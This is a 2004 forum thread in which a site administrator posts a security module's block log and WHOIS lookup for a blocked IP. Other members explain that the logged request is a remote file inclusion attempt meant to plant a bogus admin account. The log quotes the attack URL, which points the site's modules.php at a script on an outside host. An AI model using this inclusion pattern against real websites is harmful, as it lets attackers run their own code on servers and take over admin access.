Agent Inspector

Posted: Sun Jul 25, 2004 7:02 am

A.I. asked me post this so..

Datum & Tijd: 2004-07-25 06:49:24
Geblokkeerd IP: 200.184.48.252
Gebruikers ID: Anonymous (1)
Reden: Misbruik - ANDERS
--------------------
Gebruiks Agent: none
Query String: ************/modules.php?name=http://dcha0s.tripod.com.br/xpl.gif?
Doorgestuurd Voor: none
Client IP: none
Remote Adres: 200.184.48.252
Remote Poort: 3554
Aanvraag Methode: GET
--------------------
Who-Is voor IP
200.184.48.252

OrgName: Latin American and Caribbean IP address Regional Registry
OrgID: LACNIC
Address: Potosi 1517
City: Montevideo
StateProv:
PostalCode: 11500
Country: UY

ReferralServer: [ Only registered users can see links on this board! Get registered or login! ]

NetRange: 200.0.0.0 - 200.255.255.255
CIDR: 200.0.0.0/8
NetName: LACNIC-200
NetHandle: NET-200-0-0-0-1
Parent:
NetType: Allocated to LACNIC
NameServer: NS.LACNIC.NET
NameServer: TINNIE.ARIN.NET
NameServer: NS-SEC.RIPE.NET
NameServer: SEC3.APNIC.NET
NameServer: NS2.DNS.BR
Comment: This IP address range is under LACNIC responsibility for further
Comment: allocations to users in LACNIC region.
Comment: Please see [ Only registered users can see links on this board! Get registered or login! ] for further details, or check the
Comment: WHOIS server located at whois.lacnic.net
RegDate: 2002-07-27
Updated: 2004-03-18

TechHandle: LACNIC-ARIN
TechName: LACNIC Hostmaster
TechPhone: (+55) 11 5509-3522
TechEmail: [ Only registered users can see links on this board! Get registered or login! ]

OrgTechHandle: LACNIC-ARIN
OrgTechName: LACNIC Hostmaster
OrgTechPhone: (+55) 11 5509-3522
OrgTechEmail: [ Only registered users can see links on this board! Get registered or login! ]

Ideas.. anybody?

Thanks,

Fred Twisted Evil

Posted: Sun Jul 25, 2004 9:08 am

name=http:// is what it triggered on. The gif? is likely a script I didn't check it out but theres some floating around that mimick a remote linked image but actually try to create a bogus admin account.

Posted: Sun Jul 25, 2004 9:35 am

You will also notice that the IP is a Brazilian IP which is known for using this very same attack on many sites. I get this report many times a day from all over Brazil.

Posted: Sun Jul 25, 2004 10:29 am

Dind't know that, it whas the first time for me Very Happy

Thanks Bob,

Fred Mr. Green